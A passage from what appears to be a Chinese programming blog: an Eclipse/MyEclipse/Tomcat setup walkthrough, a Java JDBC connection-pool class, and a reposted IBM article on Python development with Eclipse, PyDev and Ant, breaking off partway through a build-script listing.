posts - 189,comments - 115,trackbacks - 0
J2EE配置
 发表于 2005-5-19 22:17:12

在Eclipse中用myEclipse进行开发
Eclipse 学习笔记


lnboy @ delphibbs 本人原创,未经本人允许,请勿在其它地方以赚取论坛积分等目的来进行转载
需要打包好的myeclipse.rar,请与我联系。

1.先下载Eclipse:
主页:
http://www.eclipse.org/
下载页面:
http://www.eclipse.org/downloads/index.php
主程序下载:
http://download2.eclipse.org/downloads/drops/R-2.1.2-200311030802/eclipse-SDK-2.1.2-win32.zip
中文语言包下载:
http://download2.eclipse.org/downloads/drops/L-2.1.x%20Translations-200307021300/eclipse2.1.1-SDK-win-LanguagePackFeature.zip
注意:后面将用到Tomcat5做为例子演示,建议安装Tomcat5或者Tomcat4,并且要用到j2sdk,建议先安装j2sdk。
2.下载myEclipse插件
http://www.myeclipseide.com/modules/Downloads/download_files/EnterpriseWorkbenchInstaller_020604.exe (这个是支持Eclipse2.X版本的)
http://www.myeclipseide.com/modules/Downloads/download_files/EnterpriseWorkbenchInstaller_030604.exe (这个是支持Eclipse3.X版本的)

3.解压eclipse-SDK-2.1.2-win32.zip到一个目录,我是解压到D:\program\eclipse了。
然后运行D:\program\eclipse\eclipse.exe,等Eclipse的自动安装完毕。然后再关闭Eclipse。
4.解压eclipse2.1.1-SDK-win-LanguagePackFeature.zip到D:\program\eclipse\下,将自动覆盖D:\program\eclipse\plugins和D:\program\eclipse\features下的一些文件。

5.再运行D:\program\eclipse\eclipse.exe,进行更新。更新完成,并自动重新启动Eclipse之后,再关闭Eclipse。


2003-12-6 21:50:00   
 2003-12-6 21:52:49   
500)this.width=500" border=0 pop="点击在新窗口查看原始图片">
 
 2003-12-6 21:53:21   
500)this.width=500" border=0 pop="点击在新窗口查看原始图片">
 
 2003-12-6 21:53:59    安装myEclipse

6.安装myEclipse。运行EnterpriseWorkbenchInstaller_020604.exe,先点“next”,再接受协议,再点“next”,选择好Eclipse的目录之后,再点“next”,选择myEclipse的安装目录之后,继续“next”,再“next”->"install"->“next”->"done"。到此完成myEclipse的安装了。

500)this.width=500" border=0 pop="点击在新窗口查看原始图片">
 
 2003-12-6 21:54:39   

7.运行D:\program\eclipse\eclipse.exe,同样,也将检测到更新。同上面操作一样,先确定,然后再重新启动Eclipse。

500)this.width=500" border=0 pop="点击在新窗口查看原始图片">
 
 2003-12-6 21:55:23   

8.主菜单->窗口->首选项->java->已安装的jre,点添加。

500)this.width=500" border=0 pop="点击在新窗口查看原始图片">
 
 2003-12-6 21:55:42   
500)this.width=500" border=0 pop="点击在新窗口查看原始图片">
 
 2003-12-6 21:56:13   

9.主菜单->窗口->首选项->myEclipse->subscription,填写注册信息进行注册,不然就只能够用30天。

500)this.width=500" border=0 pop="点击在新窗口查看原始图片">
 
 2003-12-6 21:57:07    10.配置Tomcat。
500)this.width=500" border=0 pop="点击在新窗口查看原始图片">
 
 2003-12-6 21:57:34   
500)this.width=500" border=0 pop="点击在新窗口查看原始图片">
 
 2003-12-6 21:58:27   

11.下面开始新建个webapp项目来试试。主菜单->文件->新建->项目->j2ee->  

500)this.width=500" border=0 pop="点击在新窗口查看原始图片">
 
 2003-12-6 21:58:46   
500)this.width=500" border=0 pop="点击在新窗口查看原始图片">
 
 2003-12-6 21:59:12   
500)this.width=500" border=0 pop="点击在新窗口查看原始图片">
 
 2003-12-6 21:59:39   
500)this.width=500" border=0 pop="点击在新窗口查看原始图片">
 
 2003-12-6 21:59:57   
500)this.width=500" border=0 pop="点击在新窗口查看原始图片">
 
 2003-12-6 22:00:30   
500)this.width=500" border=0 pop="点击在新窗口查看原始图片">
 
 2003-12-6 22:00:53   
500)this.width=500" border=0 pop="点击在新窗口查看原始图片">
 
 2003-12-6 22:01:16   
500)this.width=500" border=0 pop="点击在新窗口查看原始图片">
 
 2003-12-6 22:01:42   
500)this.width=500" border=0 pop="点击在新窗口查看原始图片">
 
 2003-12-6 22:02:04   
500)this.width=500" border=0 pop="点击在新窗口查看原始图片">
 
 2003-12-6 22:02:49    12.开始进行发布设置。
500)this.width=500" border=0 pop="点击在新窗口查看原始图片">
 
 2003-12-6 22:03:11   
500)this.width=500" border=0 pop="点击在新窗口查看原始图片">
 
 2003-12-6 22:03:35   
500)this.width=500" border=0 pop="点击在新窗口查看原始图片">
 
 2003-12-6 22:04:01   
500)this.width=500" border=0 pop="点击在新窗口查看原始图片">
 
 2003-12-6 22:05:02    12.启动web服务器。
500)this.width=500" border=0 pop="点击在新窗口查看原始图片">
 
 2003-12-6 22:05:25   
500)this.width=500" border=0 pop="点击在新窗口查看原始图片">
 
 2003-12-6 22:05:59    12.查看运行结果。
500)this.width=500" border=0 pop="点击在新窗口查看原始图片"> 
posted @ 2006-03-25 20:47 MEYE 阅读(323) | 评论 (0)编辑 收藏
一个很不错的数据库连接池实现,备份之
 

一个很不错的数据库连接池实现,备份之

import java.sql.*;
import java.io.*;
import java.util.*;
public class DBConnectionManager {

  private static int clients = 0;
  private static DBConnectionManager instance;
  private Vector drivers = new Vector();
  private PrintWriter log;
  private Hashtable pools = new Hashtable();


  public DBConnectionManager() {
    init();
  }
  private void log(String msg) {
    log.println(new java.util.Date() + ": " + msg);
  }

  /**
  * 将文本信息与异常写入日志文件
  */
  private void log(Throwable e, String msg) {
    log.println(new java.util.Date() + ": " + msg);
    e.printStackTrace(log);
  }

  public static synchronized  DBConnectionManager getInstance() {
    if (instance == null) {
      instance = new DBConnectionManager();
    }
    clients++;
    return instance;
  }
  private void init() {
    InputStream is = getClass().getResourceAsStream("/db.properties");
    Properties dbProps = new Properties();
    try {
      dbProps.load(is);
    }
    catch (Exception e) {
        System.err.println("Can not read the properties file. " +
        "Make sure db.properties is in the CLASSPATH");
        return;
    }
    loadDrivers(dbProps);
    createPools(dbProps);
  }
  public void freeConnection(String name, Connection con) {
    DBConnectionPool pool = (DBConnectionPool) pools.get(name);
    if (pool != null) {
      pool.freeConnection(con);
    }
  }
  public Connection getConnection(String name) {
    DBConnectionPool pool = (DBConnectionPool) pools.get(name);
    if (pool != null) {
      return pool.getConnection();
    }
    return null;
  }
  public Connection getConnection(String name, long time) {
    DBConnectionPool pool = (DBConnectionPool) pools.get(name);
    if (pool != null) {
      return pool.getConnection(time);
    }
    return null;
  }
  public synchronized void release() {
    // 等待直到最后一个客户程序调用
    if (--clients != 0)
    {
      return;
    }
    Enumeration allPools = pools.elements();
    while (allPools.hasMoreElements())
    {
      DBConnectionPool pool = (DBConnectionPool)allPools.nextElement();
      pool.release();
    }
    Enumeration allDrivers = drivers.elements();
    while (allDrivers.hasMoreElements())
    {
      Driver driver = (Driver) allDrivers.nextElement();
      try {
        DriverManager.deregisterDriver(driver);
        log("撤销JDBC驱动程序 " + driver.getClass().getName()+"的注册");
      }
      catch (SQLException e) {
      log(e, "无法撤销下列JDBC驱动程序的注册: " + driver.getClass().getName());
      }
    }
  }


/*
drivers=sun.jdbc.odbc.JdbcOdbcDriver jdbc.idbDriver

logfile=D:\\user\\src\\java\\DBConnectionManager\\log.txt

idb.url=jdbc:idb:c:\\local\\javawebserver1.1\\db\\db.prp

idb.maxconn=2

access.url=jdbc:odbc:demo

access.user=demo

access.password=demopw

*/
  private void loadDrivers(Properties props) {
    String driverClasses = props.getProperty("drivers");
    StringTokenizer st = new StringTokenizer(driverClasses);
    while (st.hasMoreElements()) {
      String driverClassName = st.nextToken().trim();
      try {
        Driver driver = (Driver)
          Class.forName(driverClassName).newInstance();
        DriverManager.registerDriver(driver);
        drivers.addElement(driver);
     //   Log.log("Registered JDBC driver " + driverClassName);
      }
      catch (Exception e) {
      //  Log.log("Can not register JDBC driver: " + driverClassName + ", Exception: " + e.toString()));
      }
    }
  }
  private void createPools(Properties props) {
    Enumeration propNames = props.propertyNames();
    while (propNames.hasMoreElements())
    {
      String name = (String) propNames.nextElement();
      if (name.endsWith(".url"))
      {
        String poolName = name.substring(0, name.lastIndexOf("."));
        String url = props.getProperty(poolName + ".url");
        if (url == null) {
       //   Log.log("No URL specified for " + poolName);
          continue;
        }
        String user = props.getProperty(poolName + ".user");
        String password = props.getProperty(poolName + ".password");
        String maxconn = props.getProperty(poolName + ".maxconn", "0");
        int max;
        try {
          max = Integer.valueOf(maxconn).intValue();
        }
        catch (NumberFormatException e) {
      //    Log.log("Invalid maxconn value " + maxconn + " for " +   poolName);
          max = 0;
        }
        DBConnectionPool pool =
          new DBConnectionPool(poolName, url, user, password, max);
        pools.put(poolName, pool);
      //  Log.log("Initialized pool " + poolName);
      }
    }
  }

  class DBConnectionPool {
    private int checkedOut;
    private Vector freeConnections = new Vector();
    private int maxConn;
    private String name;
    private String password;
    private String URL;
    private String user;

    /**
    * 创建新的连接池
    *
    * @param name 连接池名字
    * @param URL 数据库的JDBC URL
    * @param user 数据库帐号,或 null
    * @param password 密码,或 null
    * @param maxConn 此连接池允许建立的最大连接数
    */
    public DBConnectionPool(String name, String URL, String user
        , String password,   int maxConn)
    {
      this.name = name;
      this.URL = URL;
      this.user = user;
      this.password = password;
      this.maxConn = maxConn;
    }

  /**
  * 将不再使用的连接返回给连接池
  *
  * @param con 客户程序释放的连接
  */
    public synchronized void freeConnection(Connection con) {
    // 将指定连接加入到向量末尾
      freeConnections.addElement(con);
      checkedOut--;
      notifyAll();
    }

    /**
     * 从连接池获得一个可用连接.如没有空闲的连接且当前连接数小于最大连接
     * 数限制,则创建新连接.如原来登记为可用的连接不再有效,则从向量删除之,
     * 然后递归调用自己以尝试新的可用连接.
     */
    public synchronized Connection getConnection()
    {
      Connection con = null;
      if (freeConnections.size() > 0)
      {
      // 获取向量中第一个可用连接
        con = (Connection) freeConnections.firstElement();
        freeConnections.removeElementAt(0);
        try {
          if (con.isClosed())
          {
            log("从连接池" + name+"删除一个无效连接");
            // 递归调用自己,尝试再次获取可用连接
            con = getConnection();
          }
        }
        catch (SQLException e)
        {
          log("从连接池" + name+"删除一个无效连接");
          // 递归调用自己,尝试再次获取可用连接
          con = getConnection();
        }
      }
      else if (maxConn == 0 || checkedOut < maxConn)
      {
        con = newConnection();
      }
      if (con != null) {
        checkedOut++;
      }
      return con;
    }

  /**
  * 从连接池获取可用连接.可以指定客户程序能够等待的最长时间
  * 参见前一个getConnection()方法.
  *
  * @param timeout 以毫秒计的等待时间限制
  */
    public synchronized Connection getConnection(long timeout)
    {
      long startTime = new java.util.Date().getTime();
      Connection con;
      while ((con = getConnection()) == null)
      {
        try {
          wait(timeout);
        }
        catch (InterruptedException e) {}
        if ((new java.util.Date().getTime() - startTime) >= timeout)
        {
        // wait()返回的原因是超时
          return null;
        }
      }
      return con;
    }

  /**
  * 关闭所有连接
  */
    public synchronized void release()
    {
      Enumeration allConnections = freeConnections.elements();
      while (allConnections.hasMoreElements())
      {
        Connection con = (Connection) allConnections.nextElement();
        try {
        con.close();
          log("关闭连接池" + name+"中的一个连接");
        }
        catch (SQLException e) {
          log(e, "无法关闭连接池" + name+"中的连接");
        }
      }
      freeConnections.removeAllElements();
    }

  /**
  * 创建新的连接
  */
    private Connection newConnection()
    {
      Connection con = null;
      try {
        if (user == null) {
          con = DriverManager.getConnection(URL);
        }
        else {
          con = DriverManager.getConnection(URL, user, password);
        }
        log("连接池" + name+"创建一个新的连接");
      }
      catch (SQLException e) {
        log(e, "无法创建下列URL的连接: " + URL);
        return null;
      }
      return con;
    }
  }
}

posted @ 2006-03-25 20:28 MEYE 阅读(341) | 评论 (0)编辑 收藏
用 Eclipse 和 Ant 进行 Python 开发(转自IBM)
  用 Eclipse IDE 和 Apache Ant 构建工具进行 Python 开发

级别: 中级

Ron Smith
负责人, RPS Technologies, Inc
2004 年 6 月

Python 是一种非常灵活强大的动态脚本编程语言,具有完整的面向对象特性。众多的支持者指出,Python 语言与其他语言相比能更快更有效地表达出他们的意图。但是从 Java 技术™ 或 Microsoft® .NET 刚刚转到 Python 的人会发现,功能丰富而精致的 IDE 和开发工具都不见了。那些开发人员可以从他们熟悉的 Java 开发工具中找到解决方案。本文着重介绍了如何使用基于 Java 技术的流行开发工具 Eclipse 和 Ant 进行 Python 开发。

简介
多年以来, Java 语言和 Python 阵营之间一直存在大量的异花授粉现象。在这方面作出突出表率的可能是 Jython。这是一个纯粹用 Java 实现的 Python 运行时环境。按照这一说法,您将研究如何用 Eclipse IDE 和 Ant 构建与部署工具实现 Python 开发。Eclipse 和 Ant 是非常流行的工具,它们特性丰富、可扩展性强、而且开放源代码;Python 也具有相同的品质。PyDev 和 PyAntTasks 分别是 Eclipse 和 Ant 的扩展,有了它们就可能用这些 Java 工具开发 Python。本文从下载安装所需的工具与扩展开始讲起。为了解释如何在 Python 开发中使用 Eclipse 和 Ant,我将用实际的 Python 代码例子读取 RSS 资源。

本文不会涉及 Eclipse、Ant、Python 的细节。有关这些话题的深入讨论,请参阅 参考资料 一节中的链接。

Python 支持情况
本文用到的软件都在 CPython 2.3 下测试过。除了几个异常情况之外,应该也能在 Jython 中运行。特别需要指出,PyDev 调试器目前不支持 Jython。另一个区别是通过 Jython 执行的脚本在从 PyDev 中运行之后就转入交互模式,这样就必须手动杀死。PyDev 编辑器与 Jython 的源代码兼容,Python Ant 任务除 py-doc 任务之外也和 Jython 兼容。

使用 Eclipse 进行 Python 开发

Eclipse 概述
Eclipse 是一个 Java 技术集成开发环境,由 IBM 开发,并开放其源代码。它是 IBM 商业软件 WebSphere Application Development 环境以及其他多种工具的基础。Eclipse 的开发社区非常活跃,他们不仅开发 Eclipse 本身,还开发大量的插件供 Eclipse 使用。有关 Eclispe 和 Eclipse 插件的 Web 站点,请参阅 参考资料 一节中的链接。尽管从传统上讲 Eclipse 是一种 Java 开发工具,但是一些插件的存在使得在 Eclipse 中开发其他语言的程序成为可能,如 C/C++、Python 和 Perl。

在 Eclipse 中,源代码被组织到项目(project)中。项目可以加载、卸载和导入。Eclipse 用户界面的结构划分为视图(View)与编辑器(Editor)。视图与编辑器的例子包括:源代码大纲视图、Java 源代码编辑器、Python 源代码编辑器和文件系统导航视图。Eclipse 用户界面中最关键的隐含概念就是 视角(perspective)。视角是通常在执行某种类型活动时一起使用的一组视图。Eclipse 中的标准视角包括:Debug、Java Browsing、Java、Java Type Hierarchy、Plug-in Development、CVS Repository Exploring、Resource 和 Install/Update。目前还不存在单独的 Python 视角。在进行 Python 开发时,我通常使用 Resource 视角和 Debug 视角

安装 PyDev
首先,从 Eclipse Web 站点上下载 Eclipse(请参阅 参考资料 一节中的链接),并根据您的平台,按照下面的安装指南安装 Eclipse:

Eclipse 的更新机制使 PyDev 插件的安装更加容易。从 Eclipse 中选择 Help > Software Updates > Update Manager,启动 Install/Update 视角。在左下角的 Feature Updates 视图中,将 PyDev 插件更新站点作为新的 Site Bookmark 添加到“Sites to Visit”文件夹下。Eclipse 的 PyDev 更新站点 URL 为 http://pydev.sf.net/updates/。现在,Feature Updates 编辑器中应该显示出“PyDev”这一特性。在 Feature Updates 编辑器中,展开 PyDev > Other,选择其中显示的 PyDev 特性(至少应该是 0.4.1)。然后选择 “Install Now”安装该特性。Eclipse 将下载 PyDev 插件,并将其安装到 Eclipse 中。

导入样例项目
为访问本项目中使用的样例代码,可先下载 zip 文件(请参阅 参考资料一节),在文件系统中展开该 zip 文件,然后将其中的项目导入 Eclipse。导入项目的方法是先切换到 Resource 视角,选择 File > Import,再选择“Existing Project into Workspace”,然后选择您展开 zip 文件的位置。这时,Navigator 视图中应该出现 feedParserTest 项目。

样例项目中已经包含了 Fead Parser 通用资源解析库,该库按 Python 开放源代码许可协议发布。有关 Feed Parser 项目 Web 网站的链接,请参阅 参考资料 一节。

PyDev 漫游
现在开始学习如何通过已导入的项目了解 PyDev 的特性。PyDev 正处于开发过程中,但已经是非常高效的 Python 开发环境。现在的 PyDev 主要包括以下特性:

  • 包含 Python 语法高亮显示特性的 Python 编辑器。
  • 进行 Python 语法分析,并在 Python 编辑器和 Tasks 视图中高亮显示错误。
  • 可将制表符转换成空格的选项。
  • Outline 视图显示导入的库、类以及函数。
  • 终端视图中的 Python 堆栈跟踪信息可超链接到源代码中。
  • 源代码内部的超链接;同一模块内的导入和函数调用可通过超链接进行导航。
  • 从 Navigator 视图中运行 Python 脚本的能力。
  • 调试器支持断点、代码单步执行以及显示变量的值。

PyDev 选项窗口
通过 Window > Preferences,并选择 PyDev(请参阅图 1),便可访问 PyDev 选项。第一组选项可以改变 PyDev 在源代码中处理制表符的方式,还可以改变语法元素的颜色。

图 1. PyDev 选项窗口

设置 Python 解释器
PyDev Debug 选项可以选择 Python 解释器,供执行 Python 代码时使用。如果 PyDev 无法找到 Python 解释器,或者想使用别的解释器,可在此设置(请参阅图 2)。

图 2. PyDev Debug 选项

处理源代码
我的大部分 Python 工作都是在 Resource 视角中完成的。使用方法是先切换到 Resource 视角,然后在左上角的 Navigator 视图中双击 feedParserTest/src/feedparserTest/FeedparserTest.py 文件。Python 编辑器打开该文件,对 Python 语法进行解析,完成设置颜色和语法检查的工作(请参阅图 3)。

图 3. Python 编辑器

如果源代码中有任何错误,则显示在右下角的 Tasks 视图中显示出来。双击 Tasks 视图中的错误,便可找到那条讨厌的代码行。

Outline 视图在左下角,其中用一种便于浏览的结构显示出当前正在编辑的文件。导入的库、类、函数全都显示出来,通过双击 Outline 视图中的项目,便可以实现导航。PyDev 在编辑 Python 文件的过程中对齐进行预先解析的工作,同时更新 Outline 视图,执行语法检查,并用不同颜色显示语法元素。

编辑器的特性
PyDev 0.4 版在 Python 源代码编辑器中为函数和导入库加入了超链接的特性。如果在越过某项导入或函数调用(必须在 PYTHONPATH 目录中)的同时按下 Control 键,PyDev 就能显示出一个超链接,这样您可以在导入库或函数的源代码之间导航。请注意,为了在您自己的源代码中跨模块使用该特性(从一个模块链接到另一个模块),必须修改 PYTHONPATH 环境变量,在其中加入这些模块,这样 PyDev 就可以找到它们了。

人们已经开始将一些优异的源代码编辑特性加入最新版本的 PyDev 中,其中就包括代码块注释与取消注释,以及代码左右移位(请参阅图 4)。

图 4. PyDev 编辑器的其他特性

运行 Python 脚本
如果不能执行代码,那么 IDE 也不是太有用。为执行 Python 代码,可从 Navigator 视图中选择 feedparser.py 文件,用右键点击,然后选择 Python > Run。随后会显示 Python 的启动配置窗口(请参阅图 5)。

图 5. Python 启动配置

Python 启动配置窗口中可以定义脚本执行的当前目录,传递给脚本的参数,以及用哪一个 Python 解释器运行脚本。feedparser.py 以一个 RSS URL 作为参数,所以可在参数字段中填入 URL,如 http://www.ibm.com/developerworks/news/dw_dwtp.rss。其余的缺省定义就可以了,所以单击 Run

脚本执行时输出信息显示在 Console 窗口中。如果有错误出现,Console 窗口中将显示堆栈跟踪信息,其中的每一行都可以通过超链接找到 Python 源代码。

Python 调试器
Python 调试器是最近才加入 PyDev 插件中的。要使用调试器,可在 Python 编辑器中想中断的代码行的左侧点击,设置断点。在图 6 中,我在 feedparser.py 的 1830 行处设置了断点。然后在 Navigator 视图中选择这个 Python 模块,点击右键,选择“Python > Debug...”。这时将显示与前面相似的一个启动配置窗口。点击 Debug 进入 Debug 视角,同时启动调试器。

图 6. Python 调试器

左上角的 Debug 视图显示当前正在执行的进程和线程,右上角的 Variables 视图显示当前运行域中的所有变量,Python 编辑器会显示调试器目前停在哪条语句上,同时所有的输出信息都显示与 Console 视图中。调试器可以通过 Debug 视图底部的按钮或 Run 菜单进行控制。

其他 Eclipse 特性
Eclipse 及其插件还具备很多其他的特性,可应用于 Python 开发中,如 XML 编辑器、UML 编辑器(不过大多数是以 Java 代码为中心),还有资源控制方面的插件。目前 Eclipse 插件站点上列出的插件几乎有 500 个(请参阅 参考资料 一节中的相关链接)。我将着重介绍一个对很多 Python 开发人员都特别有用的插件:Eclipse 发行版中已经包括的 CVS 插件,不过不会讨论细节内容。

Eclipse 中包括特性丰富的集成 CVS:

  • 支持 SSH、pserver、ext 等连接方法。
  • 基本 CVS 命令的支持:检出项目、提交变更、更新、向.cvsignore 中增加文件或模式等等。
  • 文件合并查看。
  • 在源代码控制中实现对文件不同之处的比较。
  • 项目同步,并用资料库显示出删除和新增的内容。

还可以通过提供其他插件来支持其他源代码控制系统,如 ClearCase、Subversion、Visual SourceSafe 等。

在 Eclipse 中使用 Python 的交互式 shell
Python 解释器支持 Python 代码的交互式执行。这种方式对于调试一段代码是非常有用的,因为不用把代码放进 Python 脚本中并执行脚本了。同时,Python 解释器的交互模式可以很容易地集成到 Eclipse 中。

要增加对 Python 交互式执行的支持,可通过 Run > External Tools > External Tools 增加一个 External Tool 启动程序。这时将打开 External Tool 启动程序配置窗口。在 Configurations 列表中选择“Program”,然后点击“New”创建一个新的配置。将该配置命名为诸如 "pythonInteractive" 之类,然后设置 Location,令其指向您的 Python 解释器,接着,将 "-i" 作为唯一的参数传递进来(请参阅图 7)。

在 Common 选项卡下,选中复选框,使该配置在 External Tools 收藏夹菜单中显示出来。

图 7. Python 交互方式配置

要运行刚刚在 Eclipse 中创建的启动器,可选择 Run > External Tools > pythonInterpreter。Python 解释器的输出显示在 Console 视图中。Console 中可输入 Python 命令并执行,就像从命令行中执行 Python 一样。为导入并在交互模式下使用模块,您需要将模块的位置增加到 PYTHONPATH 环境变量中。

在 Eclipse Console 中执行 Python 与用命令行执行的不同之处在于,无法启用命令历史特性(通过向上和向下的方向键实现),因为 Eclipse Console 会自己解释这些键。

在 Python 开发中使用 Ant
Python 会在它需要的时候自动编译模块。这意味着 Python 开发人员通常不必显式地对模块进行编辑。即便如此,有时候手工编译 Python 代码还是很有用的,同时,构建和部署过程中还有很多其他方面的内容可以自动化实现。这也正是构建工具的用武之地。

我将着重介绍来自 Java 编程世界中的 Apache Ant,这个工具可大量应用在 Python 开发中。Apache Ant 是 Java 编程领域内事实上的标准构建工具。它更加轻便,与 Java 技术结合得更好,可用于替代其他的构建工具。Ant 可以在支持 Java 编程语言的任何一种平台上运行。尽管我们需要的大多数构建特性 Ant 都已经提供了,但如果要将 Ant 用做 Python 构建工具,还是需要有一些关键的与 Python 相关的特性。我已经开发了若干定制的 Ant 插件(用 Ant 的行话讲叫做 task),可提供构建 Python 时需要的特定于 Python 的特性。

Ant 用 XML 作为描述构建的格式。build 文件组织为需要执行的目标。每一个目标都可能依赖于其他的目标。Ant 将根据您所请求执行的目标,以及一组依赖目标,来执行任何需要的目标。每一个目标都可能包含任意数量的 Ant 任务,而由 Ant 任务实际执行目标的工作。Ant 有很多内置的任务,可以完成诸如编译 Java 代码、生成文档、操纵文件和目录,同时第三方又提供了很多附加的任务。

安装 Python Ant 库
我将通过为 feedparser 项目创建构建脚本来介绍 Ant 构建脚本和 Python Ant 任务的基础知识。为了使用 Python Ant 任务,您需要下载并安装包含这些任务的 Java 库。首先,从 参考资料 一节中列出的 URL 中下载 Python Ant 任务库(pyAntTasks.jar)。然后,将 JAR 文件拷贝到 Eclipse 的 Ant 插件下的 lib 目录中。这应该是 Eclipse 安装目录下形如 plugins/org.apache.ant_1.5.3 的子目录。

Python Ant 任务库拷贝完毕之后,必须在 Eclipse 中启用库。选择 Window > Preferences,然后选择 Ant > Runtime。将 Ant Home Entries 展开,其中可看到 Eclipse 使用的库(JAR 文件)列表。选择“ Add JAR”,然后从 Eclipse Ant 插件的 lib 目录中选择 Python Ant JAR 文件,就可以将刚刚拷贝的 Python Ant JAR 文件加入库列表中(请参阅图 8)。

图 8. 向 classpath 中加入 Python Ant 任务

您现在应该能够创建和运行包含 Python 任务的 Ant 构建脚本了。下面进入构建脚本内部!

创建构建脚本
我将逐步介绍如何创建一个简单的 Python 构建脚本(请参阅清单 1)。完整的构建脚本 build.xml 可从 feedParserTest 项目的顶层目录中找到。

清单 1. 用于编译 Python 源代码的构建脚本片断
																												

<project name="feedParserTest" default="compile">

  <taskdef resource="pyAntTasks.properties"/>

  <property name="src.dir" value="src"/>

  <target name="compile">
    <py-compile dir="${src.dir}" pythonpath="${src.dir}" optimize="0"/>
  </target>

</project>

																										

先介绍一个只编译 Python 样例代码的构建脚本。<project> 标签总是构建脚本的根标签。<taskdef> 标签声明在整个构建脚本中使用的 Python 任务。在构建脚本的底部,可以定义 compile 目标。目标元素内部是 compile 运行期间执行的任务。特别的是 py-compile 任务,它负责从 src 目录开始,编译所有的 Python 代码。该任务会递归遍历所有的子目录,并编译所有的 Python 模块。脚本中没有采用将 src 目录硬编码到调用之处的方式,而是在构建脚本中定义了称为 src.dir 的属性。然后,在需要使用这个目录名的时候,就可以通过 ${src.dir} 来引用。

要运行构建脚本,可从 Eclipse 中打开它。Eclipse 具有内置的 Ant 构建脚本编辑和浏览功能。Outline 视图可以显示出构建脚本的结构。在 Navigator 视图中,选择该构建脚本,用右键点击,然后选择“Run Ant...”。选择 compile 目标,然后点击“Run”。构建脚本执行过程中的输出信息应该显示在 Console 视图中,表示运行成功。

Python 脚本执行任务
接下来将向构建脚本中加入新的目标,用于执行 Python 脚本(请参阅清单 2)。在本例中,可以将 RSS URL 作为参数来执行 feedparser.py 脚本。

清单 2. 运行 feedparser 脚本的构建脚本片断
																												
  <target name="run.feedparser" depends="compile">
    <py-run script="src/feedparser/feedparser.py" pythonpath="${src.dir}" optimize="0">
      <arg value="http://www.ibm.com/developerworks/news/dw_dwtp.rss">
    </py-run>
  </target>


																										

上面的目标以 RSS URL 为唯一的参数来执行 feedparser.py 脚本。该目标声明为依赖于 compile 目标,所以后者将首先执行。实际上这一步并不是很必要,因为 Python 会根据需要自动编译源代码。如果您执行 run.feedparser 目标,就会运行 feedparser.py 脚本,同时将 RSS 的内容输出到 Console 中。

Python 文档任务
Python 的 API 文档编制机制与 Java 技术中的 JavaDoc 系统类似,称为 PyDoc。在构建脚本中加入清单 3 中列出的如下 XML 片断,可为所有的 Python 模块生成 PyDoc。

清单 3. 用于生成 PyDoc 的构建脚本片断
																												

 1:  <property name="pydoc.dir" value="pydoc"/>
 2:
 3:  <target name="init">
 4:    <mkdir dir="${pydoc.dir}"/>
 5:  </target>
 6:
 7:  <target name="pydoc" depends="init,compile">
 8:    <py-doc pythonpath="${src.dir}" destdir="${pydoc.dir}">
 9:      <fileset dir="${src.dir}">
10:        <include name="**/*"/>
11:      </fileset>
12:    </py-doc>
13:  </target>


																										

从对上述 pydoc 目标的解析可看出,第 7 行声明了目标名称,并指出它依赖于 initcompile 目标。这意味着在运行 pydoc 目标之前,Ant 必须保证 initcompile 目标已经运行,如果没有,则首先运行这两个目标。

pydoc 目标所依赖的 init 目标在第 3 至第 5 行定义。 init 目标仅仅创建了一个存放 PyDoc API 文档文件的目录。如前所述,要为所生成文档的保存位置定义一个属性,名为 pydoc.dir。

第 8 行开始是 py-doc 任务。如前所述,您传入生成 pydoc 过程中所使用的 PYTHONPATHdestdir 属性告诉 py-doc 任务将生成的 HTML 文档输出到何处。

第 9 至第 11 行定义了在生成文档的过程中应该处理哪些 Python 源文件。文件集是 Ant 脚本中通用的结构,可用于定义所操作的一组文件。这是一种很强大的特性,它使您能够通过名字模式、布尔逻辑和文件属性来选择所要操作的文件。Ant 文档中有这方面的完整描述。本例中递归选择了“src”目录下的所有文件。

Python 单元测试任务
Python 中具有标准的单元测试框架(从 Python 2.3 开始。在 Python 2.2 中这只是可选模块),与 Java jUnit 框架十分类似。测试用例的结构与 jUnit 采用相同的方式。每一个待测试的类和模块通常都具有自己的测试类。测试类中包含测试装置(fixture),它们在 setUp 函数中初始化。每一个测试都编写为测试类中的一个独立的测试函数。unittest 框架会在测试函数之间循环往复,先调用 setUp 、再测试函数、然后清除( tearDown )测试函数。请参阅清单 4 中的样例。

清单 4. Python 单元测试模块
																												
import unittest
from pprint import pprint

import feedparser

class FeedparserTest(unittest.TestCase):
    """
    A test class for the feedparser module.
    """
    
    def setUp(self):
        """
        set up data used in the tests.
        setUp is called before each test function execution.
        """
        self.developerWorksUrl = "testData/developerworks.rss"       

    def testParse09Rss(self):
        """
        Test a successful run of the parse function for a
        0.91 RSS feed.
        """
        print "FeedparserTest.testParse09RSS()"
        
        result = feedparser.parse(self.developerWorksUrl)
        pprint(result)

        self.assertEqual(0, result['bozo'])
        
        self.assert_(result is not None)
        channel = result['channel']
        self.assert_(channel is not None)
        chanDesc = channel['description']
        self.assertEqual(u'The latest content from IBM developerWorks',
            chanDesc)
        
        items = result['items']
        self.assert_(items is not None)
        self.assert_(len(items)> 3)
        firstItem = items[0]
        title = firstItem['title']
        self.assertEqual(u'Build installation packages with 
            solution installation and deployment technologies',
            title)
  
    def tearDown(self):
        """
        tear down any data used in tests
        tearDown is called after each test function execution.
        """
        pass
                
if __name__ == '__main__':
    unittest.main()

																										

上述清单是实现 feedparser 模块基本测试功能的测试类。完整的测试类见 feedParserTest 项目下的 src/feedparserTest/FeedparserTest.py。 setUp 函数负责准备整个测试过程中需要使用的测试装置,在本例中只有测试用的 RSS 文件的目录,测试函数将对其进行解析。 testParse09Rss 是真正的测试函数。这个函数调用 feedparser.parse 函数,传递测试用的 RSS 文件,输出解析结果,并通过 TestCase 类的 assert 函数执行基本的检查统作。如果任何 assert 的求值结果不是真,或是在执行过程中抛出任何异常,unittest 就会报告一次测试失败或错误。最后的两行负责在这个测试类内部运行测试,方法是直接运行该模块即可。

要独立运行该测试类,可以按前面所说的相同方式运行 FeedparserTest.py 模块。在 Eclipse Navigator 视图中选择 FeedparserTest.py,然后通过 Python > Run 运行。此时显示启动配置窗口。除 Base 目录之外,其他都保持缺省值即可。Base 目录必须是 feedParserTest 项目的目录,这样才能在当前目录下找到 RSS 文件(testData/developerworks.rss)。修改 base 目录的设置,然后点击“Run”。输出信息显示在 Console 上。

您也许希望我们编写的所有单元测试都能够作为构建的一部分自动执行。将下面清单 5 所示的构建片断加入构建脚本便可实现。

清单 5. 执行单元测试的构建脚本片断
																												
1:  <target name="tests" depends="compile">
2:	<py-test pythonpath="${src.dir}" dir=".">
3:  	  <fileset dir="${src.dir}">
